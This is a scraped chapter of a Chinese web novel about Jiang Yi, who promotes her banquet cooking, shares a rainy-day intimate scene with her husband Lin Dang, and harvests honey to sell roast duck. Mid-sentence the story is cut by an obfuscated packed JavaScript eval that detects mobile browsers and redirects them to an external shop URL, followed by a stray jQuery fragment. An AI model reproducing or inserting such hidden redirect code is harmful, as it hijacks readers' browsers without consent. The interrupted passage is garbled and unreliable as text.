文趣网 > 其他小说 > 穿到女尊捡夫郎 > 36. 蜜烤香鸭
    “只要您替人说和亲事的时候,顺道提起我就成。我拜到了林师父的门下,手艺上您放心,绝不会让您败了口碑。”

    吴媒婆听到这,拒绝的话一顿,心想若是跟着林生学厨,那也算是有师承,不是什么乱七八糟的人。

    他若是真替她宣扬,有这名头也好听些。

    江弈看出他的动摇又道:“若是您替我宣扬,只要有人上门找我,席后的红封可分您两成。”

    江弈许下承诺,两成的利不算多,让村里人上门找她却不容易。

    吴媒公拒绝的话彻底咽了下去,他不清楚当灶人做一场宴席下来能得多少铜板,但想来绝对不会比他的谢媒礼少。

    他寻常走街串巷,谁家的事儿心里不清楚,只要上门的时候提一嘴,也不多什么事儿。

    万一真成了就能白得两成的利,何乐而不为?

    江弈见他心动,继续道:“不成也不要紧,您帮了我这个忙,以后有事需要我帮忙尽管开口便是。”

    吴媒公在心里把他的话过了一遍,觉得此事大有可为。

    推辞的话彻底咽下,笑容满面的接下了她的糕点,应承下此事来。

    翌日,江弈去村长家跟人打听了附近几个村的媒公。

    人品口碑参差不一,她在心中筛选一番,后面几日又登门找了两位。

    有一位同意了她的请求,愿意替她宣扬,另一位一听就摆摆手,干脆地摇头拒了。

    江弈也不气馁,客气地从人家那里退了出来。

    这一连几日天气都阴着,好似要下大雨。

    江弈不敢在外多耽搁,心中还惦记着家里的土窑,怕让雨淋了去。

    刚进院门,雨点就砸在脸上,江弈顾不上挡雨,忙往土窑跑去。

    走近一看,山包似的土窑已被严严实实地遮盖起来,心里松了口气。

    雨势渐大,江弈一路快跑进屋中,身上的衣衫已经被雨水打得半湿。

    她走到箱柜面前,打开柜门取出一套干净的衣衫来。

    身上的湿衣脱了一半,身后的屋门被轻轻推开,带着屋外的潮湿雨气吹进来。

    江弈转身回头,正对上林铛定住的身影。

    林铛看着眼前女子劲瘦的后背,推开的门不知是关还是合,人怔怔地定在了原地,眼睛却挪不开。

    “不进来吗?”江弈带着笑的声音传来。

    门砰的一声被合上,门口空无一人。

    江弈心中好笑,转过身正要继续换,就见刚关上的门又砰的打开了,一个人影挤了进来。

    她拉起衣摆的手轻轻顿住。

    江弈转身看着门口不敢回头的却硬要站在原地的背影,缓缓放慢了手上的动作。

    屋外大雨滂沱,雨点噼里啪啦的砸在檐瓦上,屋内却格外静谧,只余穿脱衣衫时轻缓的窸窣摆动声。

    江弈穿好最后一件外衫,门口的背影还是没敢转过头来。

    她心里叹了口气,有几分可惜。

    缓缓走去门边,靠在他身后,轻轻把人搂在怀里,压低声音道:“怎么不进来?”

    林铛手上紧紧的握紧了门栓,红着脸不敢回头,脑袋里还是刚才看到的背影。

    二人虽已经做尽了亲密之事,可这样青天白日的看到对方还是第一次。

    他心里惴惴不安,活像有只兔子在跳。

    江弈侧耳听了听屋外,除了雨声再无其他,就连平时总爱捣乱的狗子都没了踪影。

    她看着怀里脸色通红,不知在想什么的人,心底泛起痒意来,手臂稳稳一揽,干脆利落的将人横抱起来,几步走到床边,伸手一把拉上了床帘。

    “奕姐儿!不行。”林铛倒在枕间惊呼道。

    江弈动作不停,带着笑意问:“什么不行?”

    “现在还是白天,可否,可否晚上在?”

    林铛红着脸,努力作出严肃正经的表情,试图说服她这样不对。

    “白天?你看窗外,与黑夜何异?”江弈歪歪头,示意他往外看。

    窗外大雨倾盆,乌云压得极低,屋内光线昏沉暗淡,竟好似傍晚一般。

    林铛还欲再说,话还没出口就被人拉住手压在身下堵住了嘴,昏暗光线下,未尽的话再没了说出口的机会。

    顷刻之间,屋内只余二人的喘息声,和叮当作响的铃铛晃动声。

    纤细的红绳拴在白皙的脚踝上,随着人的晃动铃声也跟着一刻不停,奏响乐章。

    雨声滴滴答答敲打在窗沿上,阵阵闷响连绵不绝。

    不知过了多久,窗外纷乱的雨声渐渐由密转疏,最后终于彻底归于沉寂,停歇了。

    屋内还带着几分闷热和雨水带来的潮气,两人身上汗津津的。

    江弈下床淘洗了帕子,给二人简单擦了擦,又上床抱着人温存了会。

    心里想着灶人的事,低头一看怀中的人已经睡熟了过去。

    晚间,雨过天晴,一家人坐在桌前吃饭。

    林铛脸上还带着睡出的红痕,他心里羞得要命。

    早上起不来也就罢了,怎么白日里也还要睡觉!

    他是猪啰啰不成?

    林铛抓着筷子埋头吃饭,忍不住带着几分恼意的抬头瞪向身边的女人。

    碗里突然多出块肉,林铛手上一顿,夹起来塞进嘴里,嘴里嚼着肉,心里的气恼渐渐消散,心里又泛起甜来。

    院外突然传来一阵呜咽的嘤嘤声,越跑越近。

    江弈探头看去,还没看清,身边的人就蹭的站了起来,往门口跑去。

    图图一路狂奔着冲进林铛怀里,呜呜咽咽的叫,一副受了大委屈的样子。

    江弈放下碗筷,起身向一人一狗走去。

    “噗”

    看清狗子的瞬间,江弈便没忍住笑出声来,在林铛控诉的眼神下勉强收起了笑意。

    江弈蹲下身子拉过埋在林铛手心的小狗,仔细打量他那张肿起的脸。

    “呀!这不会是让后山那窝蜜蜂叮的吧?”赵星也撂下筷子过来凑热闹。

    后山有一窝蜜蜂,不少孩子打那蜂蜜的主意,可却没人敢去,没想到第一个敢去招惹的是他们家的狗子。

    “后山有蜂窝?”江弈问。

    “有啊,我和小苗儿看到好几次呢,好多蜜蜂飞来飞去。”

    江弈看着林铛打

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683074|205497||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    井水给狗子洗脸,若有所思。

    这日,乌云彻底散去,太阳炙烤着大地,江家院子里的土窑也彻底烧透。

    一早,江弈就把家里的衣服都翻出来,先给自己套上厚实的粗麻布,用厚实的粗布绑腿,一路缠到膝盖。脚上穿着厚底布鞋,鞋面上也裹着一层麻布。

    手上和腿上一般用粗布条裹好,再带上手套。

    外面再罩上竹编的斗笠,用薄布裹住脸,盖住整个脸部和颈部,只留一丝缝隙能看路。

    时近七月,天格外炎热,闷在这一层层布料里,还没出门江弈就出了一身的汗。

    拒绝了林铛想同去的请求,江弈去老宅叫上江林同行。

    笑话,这种苦差事怎么能让铃铛去?

    不顾人骂骂咧咧的声音,江弈带着同样全副武装的江林往后山上有蜂蜜的地方走去。

    两人走了半晌才看到一处蜂巢,好在看起来不小,若是能取下,也能用好长一段时间了。

    江弈示意江林先点燃艾草,两人躲在草丛里看着蜜蜂被烟熏的四散而去。

    等附近只剩下几只蜜蜂还在盘旋时,两人才从草丛里爬起。

    快手快脚的用刀割下蜂巢装在陶罐里,不管跟在头顶的蜜蜂,二人带着几只蜜蜂一路狂奔冲向山下。

    跑到门口时,江弈突然感觉这一幕怎么如此眼熟,视线扫过仓房门口蔫头搭脑的狗子,尴尬的咳了咳。

    取回来的蜂蜜要清理一番才能使用。

    江弈把蜜脾一块块割开,装进干净的粗布袋里,把布袋吊起,底下放着陶盆,等蜂蜜慢慢沥出。

    晚间,江弈用烧好的土窑,又烤了一只鸭子,皮肉上刷了一层薄薄的蜜水。

    烤好的鸭子表皮受热焦化,呈现出诱人的枣红色光泽。

    江弈用刀背轻轻一敲,发出清脆的回声,表皮已经发硬发脆,充分锁住了鸭肉的水分。

    待刀切开,甜味儿伴随着香气散发出来,蜜水充分中和了鸭肉的腥膻,让烤好的鸭肉香气厚重温润。

    “俺的娘!”

    江林在一旁张大了嘴,眼看着江弈手起刀落,一片片鸭肉就听话地落入了盘中。

    她卷起一块塞进嘴里,细细品味,说不出哪里特别,但就是比那日做的还要好吃。

    心想今日的蜂蜜真是取对了!

    饭后,江弈推出闲置已久的木车,把上面的牌匾撤下,站在原地想了想。

    怕引人耳目,江弈在板子上写了个有些大众的名字。

    ‘蜜烤香鸭’

    “这名字好,这名字好。”江弈刚停下笔,就见江林在一侧点头,显然对名字极为满意。

    江弈心中无语一瞬,也算是放下了心。

    把许久不用的木车擦洗干净,挂上新的牌匾,江弈转头看向江林严肃道:“还有一件重要的事。”

    江林倏的站直,疑惑道:“何事?”

    “你要把这片鸭肉的手艺学会了才行,要把整片鸭一片片完整的片出来。”

    江弈无法跟去镇上,只能靠江林学会这门手艺再出摊了。

    江林仿佛听到什么噩耗一般,苦着脸定在原地。